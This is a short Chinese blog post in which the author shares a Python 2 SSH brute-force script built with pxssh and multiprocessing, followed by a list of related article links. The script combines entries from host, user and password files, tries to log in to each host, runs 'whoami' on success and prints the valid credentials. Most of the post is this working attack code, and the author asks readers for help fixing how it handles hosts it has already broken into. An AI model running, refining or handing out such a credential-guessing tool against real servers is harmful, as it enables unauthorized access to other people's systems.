• ssh爆破(python脚本)


    最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本

    #!/usr/local/bin/ python
    # -*- coding: UTF-8 -*-
    
    __author__ = 'yangxiaodi'
    
    from multiprocessing import Pool
    from pexpect import pxssh
    import sys
    reload(sys)
    sys.setdefaultencoding( "utf-8" )
    
    
    datas=[]
    def connect():
        cmd = 'whoami'
        for data in datas:
            host = data.split(':',2)[0]
            user = data.split(':',2)[1]
            password = data.split(':',2)[2]
            try:
                s = pxssh.pxssh(timeout=3)
                s.login(host,user,password)
                s.sendline(cmd)
                s.prompt()
                print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 执行命令:'+s.before
    
            except:
                print u'错误 [-] ssh host:'+host+' user:'+user+' password:'+password
    
    
    def read_file(filepath):
        f = open(filepath).readlines()
        return f
    
    def get_host_user_pass():
        host = read_file('host.txt')
        for h in host:
            h = h.replace('
    ','')
            user = read_file('user.txt')
            for u in user:
                u = u.replace('
    ','')
                passs = read_file('pass.txt')
                for pas in passs:
                    pas = pas.replace('
    ','')
                    datas.append(h+':'+u+':'+pas)
        return True
    
    resu = []
    get_host_user_pass()
    p = Pool()
    resu.append(p.apply_async(connect,args=()))
    p.close()
    p.join()
    for res in resu:
        print res.get()
    print 'all subprocesses done.'
    

      本地要有三个文件  user.txt , host.txt , pass.txt

    这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)

     
  • 相关阅读:
    决战72hours
    学习中的十七条建议
    数学建模终结篇
    数学建模(7)建模开始
    ASP升级程序
    为blog挑选logo
    Mysql源代码分析系列(4): 主要调用流程(续)转载
    AS学习步骤
    什么是敏捷软件测试[转]
    Mysql源代码分析(6): Plugin架构介绍(续)转载
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/5617199.html
Copyright © 2020-2023  润新知